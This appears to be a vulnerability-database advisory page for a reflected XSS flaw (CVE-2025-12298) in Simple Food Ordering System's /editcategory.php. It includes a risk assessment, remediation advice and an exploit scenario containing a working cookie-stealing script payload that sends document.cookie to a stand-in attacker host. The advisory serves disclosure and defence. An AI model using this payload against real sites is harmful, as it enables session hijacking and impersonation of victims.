Simple Food Ordering System
CVE-2025-12298
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts malicious URL with XSS payload
-
DeliverySends URL to victim via phishing/social engineering
-
ExploitVictim clicks link while authenticated
-
InstallBrowser loads /editcategory.php with payload
-
C2Unvalidated pname parameter reflected in HTML
-
ExecuteJavaScript executes in victim's browser
-
ImpactAttacker steals session cookie or performs unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the victim user is currently authenticated to Simple Food Ordering System 1.0 and must actively click a malicious link crafted by the attacker; the vulnerability cannot be exploited against unauthenticated users or through automated attacks without user interaction. The vulnerable /editcategory.php endpoint must be accessible (typically for authenticated users with category management permissions), and the pname parameter must be processed without output encoding. There is no indication of required non-default configuration - the vulnerability appears present in default installations. However, the impact is scoped to the victim's browser session and context, preventing cross-session or cross-user exploitation. |
| Impact | This vulnerability presents a low real-world risk despite public exploit availability. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:P) indicates network-based but requires user interaction (UI:P), which is a significant limiting factor. The integrity impact is rated low (VI:L) with no confidentiality or availability impact, restricting the damage to data manipulation within the user's session or session hijacking through credential theft. Most critically, the EPSS score of 0.03% (10th percentile) indicates minimal exploitation probability in the wild, suggesting that despite POC availability, actual attackers are not prioritizing this vulnerability - likely because it targets a niche, self-hosted PHP application with a small user base. The E:P (Exploit: Proof of Concept) notation in CVSS confirms POC exists but does not indicate active KEV status. This is a classic example of high-CVSS-appearing vector combined with extremely low practical exploitation risk - the vulnerability is real but not a priority for most organizations, particularly if they do not run this specific application. Organizations running Simple Food Ordering System 1.0 should treat this as a medium-priority item in their patch cycle, not a critical vulnerability. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as http://target.com/editcategory.php?pname=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> and sends it to a victim via email or social engineering. When the victim clicks the link and is authenticated to Simple Food Ordering System, the JavaScript executes in their browser, stealing their session cookie and transmitting it to the attacker's server. The attacker can then use the stolen session to impersonate the victim and perform actions as them within the application, such as modifying food categories or accessing sensitive data. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in Simple Food Ordering System 1.0 via the pname parameter in /editcategory.php allows remote attackers to inject malicious JavaScript that executes in users' browsers with minimal user interaction. The vulnerability requires user interaction (clicking a malicious link) but has low technical complexity and publicly available exploit code, though active exploitation remains unconfirmed and real-world impact is limited by the low EPSS score of 0.03% despite public POC availability.
RemediationAI
The primary remediation is to upgrade to a patched version once released by the vendor, or apply immediate input validation and output encoding to the /editcategory.php file. Specifically, all user-supplied input to the pname parameter must be HTML-encoded (e.g., converting <, >, ", &, and ' to HTML entities) or validated against a whitelist of acceptable characters before being included in HTML responses. If vendor patches are unavailable, implement a Content Security Policy (CSP) header set to restrict inline script execution (e.g., Content-Security-Policy: script-src 'self'), which will prevent injected scripts from executing even if reflected in the page. Additionally, configure Web Application Firewalls (WAF) to detect and block common XSS payloads in HTTP requests to /editcategory.php. Note that CSP and WAF mitigations do not eliminate the underlying vulnerability but reduce practical exploitation impact; the primary fix remains vendor patching or code-level input encoding.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Simple Food Ordering System is a PHP-based web application for food ordering. The vulnerability exists in the /editcategory.php file where user-supplied input from the pname parameter is not properly sanitized or HTML-encoded before being reflected in HTTP responses. This is a classic reflected XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where an attacker crafts a malicious URL containing JavaScript code in the pname parameter, and when a victim visits that URL, the unvalidated input is executed in their browser context. The attack vector is network-based with low attack complexity and no privilege requirements, meaning any remote user can craft the malicious payload.
Know when Simple Food Ordering System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A vulnerability was identified in code-projects Simple Food Ordering System 1.0. This affects an unknown part of the file /editcategory.php. The manipulation of the argument pname leads to cross site scripting. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Simple Food Ordering System
View allA vulnerability was found in SourceCodester Simple Food Ordering System 1.0. Rated medium severity (CVSS 5.4), this vuln
Price parameter manipulation in SourceCodester Simple Food Ordering System 1.0 allows unauthenticated remote attackers t
A remote code execution vulnerability (CVSS 7.3). Risk factors: public PoC available.
Unrestricted file upload in Simple Food Ordering System 1.0 (PHP) allows remote attackers to upload arbitrary files thro
Unrestricted file upload in code-projects Simple Food Ordering System 1.0 allows remote attackers to upload arbitrary fi
The Simple Food Ordering System through version 1.0 allows unauthenticated remote attackers to access sensitive database
SQL injection in code-projects Simple Food Ordering System 1.0 allows remote unauthenticated attackers to manipulate dat
A vulnerability, which was classified as problematic, was found in SourceCodester Simple Food Ordering System 1.0. Rated
A vulnerability has been found in code-projects Simple Food Ordering System 1.0. Rated medium severity (CVSS 5.3), this
Cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts via un
Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts
Stored cross-site scripting (XSS) in Simple Food Ordering System 1.0 allows remote attackers to inject malicious scripts
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB